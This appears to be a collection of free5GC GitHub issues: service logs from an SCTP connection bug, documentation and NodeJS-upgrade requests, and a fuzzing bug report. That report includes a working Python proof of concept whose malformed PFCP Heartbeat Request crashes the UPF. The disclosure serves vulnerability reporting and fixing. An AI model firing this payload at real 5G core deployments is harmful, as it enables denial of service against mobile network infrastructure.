2023-10-03T06:27:53.743125077Z [INFO][NRF][NFM] Location header: http://127.0.0.10:8000/nnrf-nfm/v1/nf-instances/6ad2a9b2-338f-4ef2-993c-de61525389a3
2023-10-03T06:27:53.743847206Z [INFO][NRF][GIN] | 201 | 127.0.0.1 | PUT | /nnrf-nfm/v1/nf-instances/6ad2a9b2-338f-4ef2-993c-de61525389a3 |
2023-10-03T06:27:53.780098679Z [INFO][SMF][Main] SMF version:
free5GC version: v3.3.0-15-g8b2ae3b
build time: 2023-10-03T03:43:33Z
commit hash: ad97e3db
commit time: 2023-10-01T10:20:36Z
go version: go1.20.8 linux/amd64
2023-10-03T06:27:53.780323537Z [INFO][SMF][CFG] Read config from [./config/smfcfg.yaml]
2023-10-03T06:27:53.784702439Z [INFO][SMF][CFG] Read config from [./config/uerouting.yaml]
2023-10-03T06:27:53.785486352Z [INFO][SMF][Main] Log enable is set to [true]
2023-10-03T06:27:53.785520793Z [INFO][SMF][Main] Log level is set to [info]
2023-10-03T06:27:53.785542362Z [INFO][SMF][Main] Report Caller is set to [false]
2023-10-03T06:27:53.785689911Z [INFO][SMF][CTX] smfconfig Info: Version[1.0.7] Description[SMF initial local configuration]
2023-10-03T06:27:53.785831473Z [INFO][SMF][CTX] Endpoints: [192.168.56.10]
2023-10-03T06:27:53.785902030Z [INFO][SMF][Init] Server started
2023-10-03T06:27:53.787953134Z [INFO][NRF][NFM] Handle NFRegisterRequest
2023-10-03T06:27:53.789432826Z [INFO][NRF][NFM] urilist update
2023-10-03T06:27:53.790249032Z [INFO][NRF][NFM] Create NF Profile
2023-10-03T06:27:53.791239352Z [INFO][NRF][NFM] Location header: http://127.0.0.10:8000/nnrf-nfm/v1/nf-instances/80d8353c-e6b0-4763-8c5b-8775c2c59c4b
2023-10-03T06:27:53.791339936Z [INFO][NRF][GIN] | 201 | 127.0.0.1 | PUT | /nnrf-nfm/v1/nf-instances/80d8353c-e6b0-4763-8c5b-8775c2c59c4b |
2023-10-03T06:27:53.791965099Z [INFO][SMF][Init] SMF Registration to NRF {80d8353c-e6b0-4763-8c5b-8775c2c59c4b SMF REGISTERED 0 0xc0004ec150 0xc0004ec180 [] [] [127.0.0.2] [] <nil> [] [] <nil> 0 0 0 area1 <nil> <nil> <nil> <nil> 0xc0000ac1c0 <nil> <nil> <nil> <nil> <nil> map[] <nil> false 0xc0004ec048 false false []}
2023-10-03T06:27:53.792300535Z [INFO][SMF][PFCP] Listen on 127.0.0.1:8805
2023-10-03T06:27:53.792365003Z [INFO][SMF][Main] Sending PFCP Association Request to UPF[127.0.0.8]
2023-10-03T06:27:53.792597400Z [INFO][UPF][PFCP][LAddr:127.0.0.8:8805] handleAssociationSetupRequest
2023-10-03T06:27:53.792731881Z [INFO][UPF][PFCP][LAddr:127.0.0.8:8805][CPNodeID:127.0.0.1] New node
2023-10-03T06:27:53.792884256Z [INFO][SMF][Main] Received PFCP Association Setup Accepted Response from UPF[127.0.0.8]
2023-10-03T06:27:53.905107105Z [INFO][UDR][Main] UDR version:
free5GC version: v3.3.0-15-g8b2ae3b
build time: 2023-10-03T03:41:09Z
commit hash: 635ce049
commit time: 2023-10-01T10:24:38Z
go version: go1.20.8 linux/amd64
2023-10-03T06:27:53.905298509Z [INFO][UDR][CFG] Read config from [./config/udrcfg.yaml]
2023-10-03T06:27:53.906213227Z [INFO][UDR][Main] Log enable is set to [true]
2023-10-03T06:27:53.906271709Z [INFO][UDR][Main] Log level is set to [info]
2023-10-03T06:27:53.906298437Z [INFO][UDR][Main] Report Caller is set to [false]
2023-10-03T06:27:53.906342744Z [INFO][UDR][Init] UDR Config Info: Version[1.0.2] Description[UDR initial local configuration]
2023-10-03T06:27:53.906739765Z [INFO][UDR][Init] Server started
2023-10-03T06:27:53.907184634Z [INFO][UDR][Util] udrconfig Info: Version[1.0.2] Description[UDR initial local configuration]
2023-10-03T06:27:53.909189717Z [INFO][NRF][NFM] Handle NFRegisterRequest
2023-10-03T06:27:53.910718584Z [INFO][NRF][NFM] urilist update
2023-10-03T06:27:53.911477163Z [INFO][NRF][NFM] Create NF Profile
2023-10-03T06:27:53.912491458Z [INFO][NRF][NFM] Location header: http://127.0.0.10:8000/nnrf-nfm/v1/nf-instances/c11acb3c-1136-4917-beaf-d1c6cd0b9ae1
2023-10-03T06:27:53.912587126Z [INFO][NRF][GIN] | 201 | 127.0.0.1 | PUT | /nnrf-nfm/v1/nf-instances/c11acb3c-1136-4917-beaf-d1c6cd0b9ae1 |
2023-10-03T06:27:54.007143134Z [INFO][PCF][Main] pcf
2023-10-03T06:27:54.007233703Z [INFO][PCF][Main] PCF version:
free5GC version: v3.3.0-15-g8b2ae3b
build time: 2023-10-03T03:41:16Z
commit hash: 56840a6e
commit time: 2023-10-01T10:18:33Z
go version: go1.20.8 linux/amd64
2023-10-03T06:27:54.007548106Z [INFO][PCF][CFG] Read config from [./config/pcfcfg.yaml]
2023-10-03T06:27:54.009115207Z [INFO][PCF][Main] Log enable is set to [true]
2023-10-03T06:27:54.009154576Z [INFO][PCF][Main] Log level is set to [info]
2023-10-03T06:27:54.009252007Z [INFO][PCF][Main] Report Caller is set to [false]
2023-10-03T06:27:54.009283372Z [INFO][PCF][Util] pcfconfig Info: Version[1.0.2] Description[PCF initial local configuration]
2023-10-03T06:27:54.009500422Z [INFO][PCF][Init] Server started
2023-10-03T06:27:54.011473486Z [INFO][PCF][Util] pcfconfig Info: Version[1.0.2] Description[PCF initial local configuration]
2023-10-03T06:27:54.014927902Z [INFO][NRF][NFM] Handle NFRegisterRequest
2023-10-03T06:27:54.016400148Z [INFO][NRF][NFM] urilist update
2023-10-03T06:27:54.017220828Z [INFO][NRF][NFM] Create NF Profile
2023-10-03T06:27:54.018023114Z [INFO][NRF][NFM] Location header: http://127.0.0.10:8000/nnrf-nfm/v1/nf-instances/cc516942-eb45-41f8-bb29-9c5e1f023db0
2023-10-03T06:27:54.018146131Z [INFO][NRF][GIN] | 201 | 127.0.0.1 | PUT | /nnrf-nfm/v1/nf-instances/cc516942-eb45-41f8-bb29-9c5e1f023db0 |
2023-10-03T06:27:54.018738657Z [INFO][NRF][DISC] Handle NFDiscoveryRequest
2023-10-03T06:27:54.019761760Z [INFO][NRF][GIN] | 200 | 127.0.0.1 | GET | /nnrf-disc/v1/nf-instances?requester-nf-type=PCF&service-names=nudr-dr&target-nf-type=UDR |
2023-10-03T06:27:54.103541026Z [INFO][UDM][Main] UDM version:
free5GC version: v3.3.0-15-g8b2ae3b
build time: 2023-10-03T03:41:25Z
commit hash: 3aacf1cb
commit time: 2023-10-01T10:22:20Z
go version: go1.20.8 linux/amd64
2023-10-03T06:27:54.103726807Z [INFO][UDM][CFG] Read config from [./config/udmcfg.yaml]
2023-10-03T06:27:54.104898048Z [INFO][UDM][Main] Log enable is set to [true]
2023-10-03T06:27:54.104939294Z [INFO][UDM][Main] Log level is set to [info]
2023-10-03T06:27:54.104956172Z [INFO][UDM][Main] Report Caller is set to [false]
2023-10-03T06:27:54.104971716Z [INFO][UDM][Init] UDM Config Info: Version[1.0.3] Description[UDM initial local configuration]
2023-10-03T06:27:54.105088112Z [INFO][UDM][Init] Server started
2023-10-03T06:27:54.105302614Z [INFO][UDM][Util] udmconfig Info: Version[1.0.3] Description[UDM initial local configuration]
2023-10-03T06:27:54.106988324Z [INFO][NRF][NFM] Handle NFRegisterRequest
2023-10-03T06:27:54.108529925Z [INFO][NRF][NFM] urilist update
2023-10-03T06:27:54.109278823Z [INFO][NRF][NFM] Create NF Profile
2023-10-03T06:27:54.110345164Z [INFO][NRF][NFM] Location header: http://127.0.0.10:8000/nnrf-nfm/v1/nf-instances/2db0a209-0321-461b-82ae-4168ac15d81d
2023-10-03T06:27:54.110474766Z [INFO][NRF][GIN] | 201 | 127.0.0.1 | PUT | /nnrf-nfm/v1/nf-instances/2db0a209-0321-461b-82ae-4168ac15d81d |
2023-10-03T06:27:54.223359002Z [INFO][NSSF][Main] NSSF version:
free5GC version: v3.3.0-15-g8b2ae3b
build time: 2023-10-03T03:41:34Z
commit hash: 8d35182a
commit time: 2023-10-01T10:16:35Z
go version: go1.20.8 linux/amd64
2023-10-03T06:27:54.223543957Z [INFO][NSSF][CFG] Read config from [./config/nssfcfg.yaml]
2023-10-03T06:27:54.225913331Z [INFO][NSSF][Main] Log enable is set to [true]
2023-10-03T06:27:54.225971336Z [INFO][NSSF][Main] Log level is set to [info]
2023-10-03T06:27:54.225997532Z [INFO][NSSF][Main] Report Caller is set to [false]
2023-10-03T06:27:54.226079387Z [INFO][NSSF][Init] Server started
2023-10-03T06:27:54.228169422Z [INFO][NRF][NFM] Handle NFRegisterRequest
2023-10-03T06:27:54.229734201Z [INFO][NRF][NFM] urilist update
2023-10-03T06:27:54.230566272Z [INFO][NRF][NFM] Create NF Profile
2023-10-03T06:27:54.231656550Z [INFO][NRF][NFM] Location header: http://127.0.0.10:8000/nnrf-nfm/v1/nf-instances/c441b909-484c-456e-9a43-1abde2910d17
2023-10-03T06:27:54.231797629Z [INFO][NRF][GIN] | 201 | 127.0.0.1 | PUT | /nnrf-nfm/v1/nf-instances/c441b909-484c-456e-9a43-1abde2910d17 |
2023-10-03T06:27:54.338336839Z [INFO][AUSF][Main] AUSF version:
free5GC version: v3.3.0-15-g8b2ae3b
build time: 2023-10-03T03:40:25Z
commit hash: d8b1a70c
commit time: 2023-10-01T10:08:36Z
go version: go1.20.8 linux/amd64
2023-10-03T06:27:54.338470647Z [INFO][AUSF][CFG] Read config from [./config/ausfcfg.yaml]
2023-10-03T06:27:54.339397158Z [INFO][AUSF][Main] Log enable is set to [true]
2023-10-03T06:27:54.339433699Z [INFO][AUSF][Main] Log level is set to [info]
2023-10-03T06:27:54.339449352Z [INFO][AUSF][Main] Report Caller is set to [false]
2023-10-03T06:27:54.339623770Z [INFO][AUSF][Init] ausfconfig Info: Version[1.0.3] Description[AUSF initial local configuration]
ausf context = &{{{0 0} {[] {} <nil>} map[] 0} {{0 0} {[] {} <nil>} map[] 0} 4ba5899b-6993-43cb-bb04-8289f19eba56 ausfGroup001 8000 127.0.0.9 127.0.0.9 http://127.0.0.9:8000 http http://127.0.0.10:8000 map[nausf-auth:{4ba5899b-6993-43cb-bb04-8289f19eba56 nausf-auth 0xc0000119b0 http REGISTERED 0xc000011998 [] <nil> [] [] <nil> 0 0 0 <nil> <nil> }] [{208 93} {123 45}] 0xc0005da460 false}
2023-10-03T06:27:54.340136199Z [INFO][AUSF][Init] Server started
2023-10-03T06:27:54.344396000Z [INFO][NRF][NFM] Handle NFRegisterRequest
2023-10-03T06:27:54.345879864Z [INFO][NRF][NFM] urilist update
2023-10-03T06:27:54.346523073Z [INFO][NRF][NFM] Create NF Profile
2023-10-03T06:27:54.347476921Z [INFO][NRF][NFM] Location header: http://127.0.0.10:8000/nnrf-nfm/v1/nf-instances/4ba5899b-6993-43cb-bb04-8289f19eba56
2023-10-03T06:27:54.347575443Z [INFO][NRF][GIN] | 201 | 127.0.0.1 | PUT | /nnrf-nfm/v1/nf-instances/4ba5899b-6993-43cb-bb04-8289f19eba56 |
2023-10-03T06:27:54.464615145Z [INFO][CHF][Main] CHF version:
free5GC version: v3.3.0-15-g8b2ae3b
build time: 2023-10-03T03:43:45Z
commit hash: f3762fe5
commit time: 2023-10-01T10:09:44Z
go version: go1.20.8 linux/amd64
2023-10-03T06:27:54.464758022Z [INFO][CHF][CFG] Read config from [./config/chfcfg.yaml]
2023-10-03T06:27:54.465640333Z [INFO][CHF][Main] Log enable is set to [true]
2023-10-03T06:27:54.465677185Z [INFO][CHF][Main] Log level is set to [info]
2023-10-03T06:27:54.465696697Z [INFO][CHF][Main] Report Caller is set to [false]
2023-10-03T06:27:54.465713278Z [INFO][CHF][Init] chfconfig Info: Version[1.0.3] Description[CHF initial local configuration]
chf context = &{f2f810a2-988c-4be1-a30d-027731814e91 CHF http://127.0.0.113:8000 http 127.0.0.113 127.0.0.113 8000 map[nchf-convergedcharging:{f2f810a2-988c-4be1-a30d-027731814e91 nchf-convergedcharging 0xc00090ded8 http REGISTERED 0xc00090dec0 http://127.0.0.113:8000 [] <nil> [] [] <nil> 0 0 0 <nil> <nil> }] map[] 0 http://127.0.0.10:8000 {{0 0} {[] {} <nil>} map[] 0} 0xc00090f0e0 0xc00090f140 0xc000967470 0xc0009674d0}
2023-10-03T06:27:54.465883973Z [INFO][CHF][Init] Server started
2023-10-03T06:27:54.466301226Z [INFO][CHF][CGF] FTP server Start
2023-10-03T06:27:54.467217308Z [WARN][CHF][CGF] Login to Webconsole FTP fail: dial tcp 127.0.0.1:2122: connect: connection refused, retrying [1]
2023-10-03T06:27:54.468407760Z [INFO][CHF][Acct] Open Account Balance Management Server
2023-10-03T06:27:54.471462992Z [INFO][NRF][NFM] Handle NFRegisterRequest
2023-10-03T06:27:54.473867317Z [INFO][NRF][NFM] urilist update
2023-10-03T06:27:54.474547210Z [INFO][NRF][NFM] Create NF Profile
2023-10-03T06:27:54.475336170Z [INFO][NRF][NFM] Location header: http://127.0.0.10:8000/nnrf-nfm/v1/nf-instances/f2f810a2-988c-4be1-a30d-027731814e91
2023-10-03T06:27:54.475398834Z [INFO][NRF][GIN] | 201 | 127.0.0.1 | PUT | /nnrf-nfm/v1/nf-instances/f2f810a2-988c-4be1-a30d-027731814e91 |
2023-10-03T06:27:55.476152815Z [WARN][CHF][CGF] Login to Webconsole FTP fail: dial tcp 127.0.0.1:2122: connect: connection refused, retrying [2]
2023-10-03T06:27:56.482458706Z [WARN][CHF][CGF] Login to Webconsole FTP fail: dial tcp 127.0.0.1:2122: connect: connection refused, retrying [3]
2023-10-03T06:27:57.483586136Z [INFO][address:127.0.0.113:2121][category:FTP][component:CHF] Listening...
2023-10-03T06:27:57.483905790Z [INFO][category:FTP][component:CHF] Starting...
^C2023-10-03T06:29:04.051780516Z [INFO][AMF][Init] Terminating AMF...
2023-10-03T06:29:04.052189550Z [INFO][AMF][Consumer] [AMF] Send Deregister NFInstance
2023-10-03T06:29:04.052350094Z [INFO][UPF][Main] Shutdown UPF ...
2023-10-03T06:29:04.052511044Z [INFO][UPF][PFCP][LAddr:127.0.0.8:8805] Stopping pfcp server
2023-10-03T06:29:04.052874967Z [ERRO][UPF][PFCP][LAddr:127.0.0.8:8805] read udp4 127.0.0.8:8805: use of closed network connection
2023-10-03T06:29:04.052950870Z [INFO][UPF][PFCP][LAddr:127.0.0.8:8805] pfcp reciver stopped
2023-10-03T06:29:04.053048784Z [INFO][UPF][PFCP][LAddr:127.0.0.8:8805] pfcp server stopped
2023-10-03T06:29:04.052922295Z [INFO][PCF][Init] Terminating PCF...
2023-10-03T06:29:04.052980941Z [INFO][SMF][Init] Terminating SMF...
2023-10-03T06:29:04.053213780Z [INFO][SMF][Consumer] Send Deregister NFInstance
2023-10-03T06:29:04.053220718Z [INFO][PCF][Consumer] Send Deregister NFInstance
2023-10-03T06:29:04.053801796Z [INFO][NSSF][Init] Terminating NSSF...
2023-10-03T06:29:04.054185084Z [INFO][AUSF][Init] Terminating AUSF...
2023-10-03T06:29:04.055720871Z [INFO][AUSF][Consumer] Send Deregister NFInstance
2023-10-03T06:29:04.055278312Z [INFO][NSSF][Consumer] Send Deregister NFInstance
2023-10-03T06:29:04.056915554Z [INFO][UDM][Init] Terminating UDM...
2023-10-03T06:29:04.057172847Z [INFO][UDM][Consumer] Send Deregister NFInstance
2023-10-03T06:29:04.057758922Z [INFO][CHF][Init] Terminating CHF...
2023-10-03T06:29:04.057983041Z [INFO][CHF][Consumer] Send Deregister NFInstance
2023-10-03T06:29:04.058145053Z [INFO][UDR][Init] Terminating UDR...
2023-10-03T06:29:04.058829085Z [INFO][UDR][Consumer] Send Deregister NFInstance
2023-10-03T06:29:04.060138092Z [INFO][NRF][NFM] Handle NFDeregisterRequest
2023-10-03T06:29:04.062146119Z [INFO][NRF][NFM] Handle NFDeregisterRequest
Receive SIGINT, terminating...
2023-10-03T06:29:04.063760208Z [INFO][NRF][NFM] Handle NFDeregisterRequest
2023-10-03T06:29:04.064708307Z [INFO][NRF][NFM] Handle NFDeregisterRequest
2023-10-03T06:29:04.065083975Z [INFO][NRF][NFM] Handle NFDeregisterRequest
2023-10-03T06:29:04.065588198Z [INFO][NRF][NFM] Handle NFDeregisterRequest
2023-10-03T06:29:04.065964104Z [INFO][NRF][NFM] Handle NFDeregisterRequest
2023-10-03T06:29:04.067801436Z [INFO][NRF][NFM] Handle NFDeregisterRequest
2023-10-03T06:29:04.112344383Z [INFO][UPF][Perio] recv event[TYPE_SERVER_CLOSE][{eType:4 lSeid:0 urrid:0 period:0}]
2023-10-03T06:29:04.112423325Z [INFO][UPF][Perio] perio server stopped
2023-10-03T06:29:04.112447512Z [INFO][UPF][Main] Terminating UPF...
2023-10-03T06:29:04.112464899Z [INFO][UPF][Main] UPF terminated
2023-10-03T06:29:04.112481289Z [INFO][UPF][Main] UPF exited
kill: (14715): No such process
kill: (14713): No such process
2023-10-03T06:29:05.094392461Z [INFO][NRF][GIN] | 204 | 127.0.0.1 | DELETE | /nnrf-nfm/v1/nf-instances/f2f810a2-988c-4be1-a30d-027731814e91 |
2023-10-03T06:29:05.096468584Z [INFO][CHF][Init] Deregister from NRF successfully
2023-10-03T06:29:05.096609192Z [INFO][CHF][Init] CHF terminated
2023-10-03T06:29:05.106855713Z [INFO][NRF][GIN] | 204 | 127.0.0.1 | DELETE | /nnrf-nfm/v1/nf-instances/c441b909-484c-456e-9a43-1abde2910d17 |
2023-10-03T06:29:05.107766909Z [INFO][NSSF][Init] Deregister from NRF successfully
2023-10-03T06:29:05.107948185Z [INFO][NSSF][Init] NSSF terminated
2023-10-03T06:29:05.110702517Z [INFO][NRF][GIN] | 204 | 127.0.0.1 | DELETE | /nnrf-nfm/v1/nf-instances/cc516942-eb45-41f8-bb29-9c5e1f023db0 |
2023-10-03T06:29:05.111181410Z [INFO][NRF][GIN] | 204 | 127.0.0.1 | DELETE | /nnrf-nfm/v1/nf-instances/4ba5899b-6993-43cb-bb04-8289f19eba56 |
2023-10-03T06:29:05.111684272Z [INFO][NRF][GIN] | 204 | 127.0.0.1 | DELETE | /nnrf-nfm/v1/nf-instances/2db0a209-0321-461b-82ae-4168ac15d81d |
2023-10-03T06:29:05.113014511Z [INFO][AUSF][Init] Deregister from NRF successfully
2023-10-03T06:29:05.113135636Z [INFO][AUSF][Init] AUSF terminated
2023-10-03T06:29:05.112750959Z [INFO][UDM][Init] Deregister from NRF successfully
2023-10-03T06:29:05.113346887Z [INFO][UDM][Init] UDM terminated
2023-10-03T06:29:05.114493874Z [INFO][PCF][Init] Deregister from NRF successfully
2023-10-03T06:29:05.114577327Z [INFO][PCF][Init] PCF terminated
2023-10-03T06:29:05.116955208Z [INFO][NRF][GIN] | 204 | 127.0.0.1 | DELETE | /nnrf-nfm/v1/nf-instances/6ad2a9b2-338f-4ef2-993c-de61525389a3 |
2023-10-03T06:29:05.117210494Z [INFO][NRF][GIN] | 204 | 127.0.0.1 | DELETE | /nnrf-nfm/v1/nf-instances/80d8353c-e6b0-4763-8c5b-8775c2c59c4b |
2023-10-03T06:29:05.117536570Z [INFO][SMF][Init] Deregister from NRF successfully
2023-10-03T06:29:05.117761465Z [INFO][AMF][Init] [AMF] Deregister from NRF successfully
2023-10-03T06:29:05.117213617Z [INFO][NRF][GIN] | 204 | 127.0.0.1 | DELETE | /nnrf-nfm/v1/nf-instances/c11acb3c-1136-4917-beaf-d1c6cd0b9ae1 |
2023-10-03T06:29:05.118098577Z [INFO][AMF][Init] Send AMF Status Indication to Notify RANs due to AMF terminating
2023-10-03T06:29:05.118575787Z [INFO][AMF][Ngap] Close SCTP server...
2023-10-03T06:29:05.118710705Z [INFO][AMF][Ngap] SCTP server closed
2023-10-03T06:29:05.119012751Z [INFO][AMF][Init] AMF terminated
2023-10-03T06:29:05.119614898Z [INFO][UDR][Init] Deregister from NRF successfully
2023-10-03T06:29:05.119690013Z [INFO][UDR][Init] UDR terminated
2023-10-03T06:29:06.059182774Z [INFO][NRF][Init] Terminating NRF...
2023-10-03T06:29:06.059559646Z [INFO][NRF][Init] Remove NF Profile...
2023-10-03T06:29:06.062872237Z [INFO][NRF][Init] NRF terminated
```
[amfcfg.txt](https://github.com/free5gc/free5gc/files/12789718/amfcfg.txt)
|
[Bugs] SCTP connection from ueransim VM to free5gc VM is not connecting
|
https://api.github.com/repos/free5gc/free5gc/issues/488/comments
| 3 |
2023-10-03T07:32:04Z
|
2023-10-05T07:09:30Z
|
https://github.com/free5gc/free5gc/issues/488
| 1,923,498,087 | 488 |
[
"free5gc",
"free5gc"
] |
## Documentation request
The instructions related to the creation of the new UE on the page [5 install ueransim](https://free5gc.org/guide/5-install-ueransim/#4-use-webconsole-to-add-an-ue) didn't mention the buttons required to click on the Webconsole.
## Suggestion
Rewrite the text to make it extra clear.
## Additional context
I'm not sure if the new text I wrote retains the meaning from the original instructions (specially regarding the OPc parameter). In the [section 6](https://free5gc.org/guide/5-install-ueransim/#6-setting-ueransim) of the same page, the code shown as example is "OP", that's why I put the text recommending to choose OP on the other step. Anyway, feel free to suggest any editions to my PR.
Besides the aforementioned issue, I've added a new point for ease of text formatting and to make it easier to read (shorter phrases).
|
[Docs] Make instructions on how to add UE on install ueransim clearer
|
https://api.github.com/repos/free5gc/free5gc/issues/486/comments
| 0 |
2023-09-28T01:01:35Z
|
2023-09-29T04:29:42Z
|
https://github.com/free5gc/free5gc/issues/486
| 1,916,550,160 | 486 |
[
"free5gc",
"free5gc"
] |
## Documentation request
On the instructions regarding the file smfcfg.yaml on the page [5 install ueransim](https://free5gc.org/guide/5-install-ueransim/#5-setting-free5gc-and-ueransim-parameters), the names/keywords of the referred file didn't match the actual formatting.
## Suggestion
Adjust the text accordingly.
## Additional context
A PR was already created to fix the docs.
|
[Docs] Fixes a typo on the instructions regarding smfcfg.yaml in install ueransim page
|
https://api.github.com/repos/free5gc/free5gc/issues/485/comments
| 0 |
2023-09-28T00:48:56Z
|
2023-09-29T04:28:29Z
|
https://github.com/free5gc/free5gc/issues/485
| 1,916,542,462 | 485 |
[
"free5gc",
"free5gc"
] |
## Issue Description
### What's the version are you using
free5GC v3.3.0 (latest stable version)
### Is your feature request related to a problem? Please describe.
The NodeJS version supported by the WebConsole (v12.x) is outdated and reached its EOL.
### Describe the solution you'd like
The WebConsole code might be migrated to a newer version of NodeJS, probably v18.x as it is the current LTS one.
### Describe alternatives/workarounds you've considered
The usage of v12.x still works, but it may not be the case in the future (as stated on the warning on the screenshot below).
### Additional context
During the installation the script already issues a warning (screenshot below):
The release notes from [v12.22.12](https://nodejs.org/en/blog/release/v12.22.12) already stated that it would reach EOL on 30 April 2022. As shared on its [official repo](https://github.com/nodejs/release#release-schedule), the v18.x will be supported until 2025, so it might be a good option, or if possible use the v20.x which EOL is scheduled to 2026.
I'm not sure as I don't have experience with NodeJS, however, usually the migration process is a matter of source code analysis and substitution of the eventually deprecated functions.
## Issue Template Checklist
<!-- Please answer the questions below. If not the issue might be disregarded. -->
### If willing to resolve an issue by submitting Pull request, please consider the points below.
<!-- free5GC will be happy to welcome first contributor’s, in order to broaden the community. -->
- [ ] Yes, I have the time and I know how to start.
- [ ] Yes, I have the time but I don't know how to start, I would need guidance.
- [x] No, I don't have the time, although I believe I could do it if I had the time...
- [ ] No, I don't have the time and I wouldn't even know how to start.
|
[Feat] Migrate the WebConsole code base to NodeJS v18.x or later
|
https://api.github.com/repos/free5gc/free5gc/issues/484/comments
| 2 |
2023-09-26T15:06:09Z
|
2023-09-27T04:07:58Z
|
https://github.com/free5gc/free5gc/issues/484
| 1,913,728,414 | 484 |
[
"free5gc",
"free5gc"
] |
[Bugs] UPF crash caused by malformed PFCP messages whose 1st IE length is mutated to zero
## Describe the bug
While fuzzing the free5gc UPF for some PFCP basic and security features, I could trigger several crashes when send malformed PFCP Heartbeat Request whose Recovery Time Stamp IE length is mutated to zero. This could cause DOS of any UPF instance, all memory issues due to this kind of PFCP messages are caught by the GO memory runtime, which would casue a panic and crash.
## To Reproduce
Steps to reproduce the behavior:
1. Build the UPF with source code
2. Run the bin/upf with default config/upfcfg.yaml
3. Run the following POC python script
```python
#!/usr/bin/env python3
import socket
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp_socket.settimeout(1.0)
pfcp_association_setup_request = b'\x20\x05\x00\x1f\x00\x00\x01\x00\x00\x3c\x00\x05\x00\x0a\x64\xc8\x64\x00\x60\x00\x04\xe8\x1f\xdc\x30\x00\x2b\x00\x06\x21\x00\x00\x00\x00\x00'
"""
PFCP Heartbeat Request with a Recovery Time Stamp IE whose length is mutated to zero
"""
pfcp_heartbeat_request = b'\x20\x01\x00\x0c\x00\x00\x02\x00\x00\x60\x00\x00\xe8\x1f\xe7\xb4'
udp_socket.sendto(pfcp_association_setup_request, ('127.0.0.8', 8805))
try:
udp_socket.recv(65535)
except Exception as exception:
print(f"Receive failed: {exception}")
udp_socket.sendto(pfcp_heartbeat_request, ('127.0.0.8', 8805))
try:
udp_socket.recv(65535)
except Exception as exception:
print(f"Receive failed: {exception}")
udp_socket.close()
```
## Expected behavior
Any people could leverage this to cause DOS and resource consumption against a pool of UPF. As much as possible, check the IE length of PFCP messages, update handling logic or just drop them to avoid frequent crashes. This will greatly improve the availability, stability, and security of free5gc UPF.
## Screenshots
No special screenshot is provided.
## Environment (please complete the following information):
- free5GC Version: v3.3.0
- OS: Ubuntu 20.04
- Kernel version: 5.4.5-050405-generic
- go version: go1.21.1 linux/amd64
## Trace File
### Configuration File
No specific configuration is required.
### PCAP File
No specific pcap file is provided.
### Log File
```bash
time="2023-09-22T03:24:35.891194467+08:00" level="info" msg="UPF version: \n\tNot specify ldflags (which link version) during go build\n\tgo version: go1.21.1 linux/amd64" CAT="Main" NF="UPF"
time="2023-09-22T03:24:35.904235696+08:00" level="info" msg="Read config from [upfcfg.yaml]" CAT="CFG" NF="UPF"
time="2023-09-22T03:24:35.904663072+08:00" level="info" msg="==================================================" CAT="CFG" NF="UPF"
time="2023-09-22T03:24:35.904772210+08:00" level="info" msg="(*factory.Config)(0xc0000147d0)({\n\tVersion: (string) (len=5) \"1.0.3\",\n\tDescription: (string) (len=31) \"UPF initial local configuration\",\n\tPfcp: (*factory.Pfcp)(0xc00006f170)({\n\t\tAddr: (string) (len=9) \"127.0.0.8\",\n\t\tNodeID: (string) (len=9) \"127.0.0.8\",\n\t\tRetransTimeout: (time.Duration) 1s,\n\t\tMaxRetrans: (uint8) 3\n\t}),\n\tGtpu: (*factory.Gtpu)(0xc00006f320)({\n\t\tForwarder: (string) (len=5) \"gtp5g\",\n\t\tIfList: ([]factory.IfInfo) (len=1 cap=1) {\n\t\t\t(factory.IfInfo) {\n\t\t\t\tAddr: (string) (len=9) \"127.0.0.8\",\n\t\t\t\tType: (string) (len=2) \"N3\",\n\t\t\t\tName: (string) \"\",\n\t\t\t\tIfName: (string) \"\",\n\t\t\t\tMTU: (uint32) 0\n\t\t\t}\n\t\t}\n\t}),\n\tDnnList: ([]factory.DnnList) (len=1 cap=1) {\n\t\t(factory.DnnList) {\n\t\t\tDnn: (string) (len=8) \"internet\",\n\t\t\tCidr: (string) (len=12) \"10.60.0.0/24\",\n\t\t\tNatIfName: (string) \"\"\n\t\t}\n\t},\n\tLogger: (*factory.Logger)(0xc000022e40)({\n\t\tEnable: (bool) true,\n\t\tLevel: (string) (len=4) \"info\",\n\t\tReportCaller: (bool) false\n\t})\n})\n" CAT="CFG" NF="UPF"
time="2023-09-22T03:24:35.905047979+08:00" level="info" msg="==================================================" CAT="CFG" NF="UPF"
time="2023-09-22T03:24:35.905060906+08:00" level="info" msg="Log level is set to [info]" CAT="Main" NF="UPF"
time="2023-09-22T03:24:35.905071569+08:00" level="info" msg="Report Caller is set to [false]" CAT="Main" NF="UPF"
time="2023-09-22T03:24:35.905097803+08:00" level="info" msg="starting Gtpu Forwarder [gtp5g]" CAT="Main" NF="UPF"
time="2023-09-22T03:24:35.905106855+08:00" level="info" msg="GTP Address: \"127.0.0.8:2152\"" CAT="Main" NF="UPF"
time="2023-09-22T03:24:35.955858915+08:00" level="info" msg="buff netlink server started" CAT="BUFF" NF="UPF"
time="2023-09-22T03:24:35.956003408+08:00" level="info" msg="perio server started" CAT="Perio" NF="UPF"
time="2023-09-22T03:24:35.956021132+08:00" level="info" msg="Forwarder started" CAT="Gtp5g" NF="UPF"
time="2023-09-22T03:24:35.965098244+08:00" level="info" msg="starting pfcp server" CAT="PFCP" LAddr="127.0.0.8:8805" NF="UPF"
time="2023-09-22T03:24:35.965152469+08:00" level="info" msg="pfcp server started" CAT="PFCP" LAddr="127.0.0.8:8805" NF="UPF"
time="2023-09-22T03:24:35.965258101+08:00" level="info" msg="UPF started" CAT="Main" NF="UPF"
time="2023-09-22T03:24:52.058728637+08:00" level="info" msg="handleAssociationSetupRequest" CAT="PFCP" LAddr="127.0.0.8:8805" NF="UPF"
time="2023-09-22T03:24:52.058889668+08:00" level="info" msg="New node" CAT="PFCP" CPNodeID="10.100.200.100" LAddr="127.0.0.8:8805" NF="UPF"
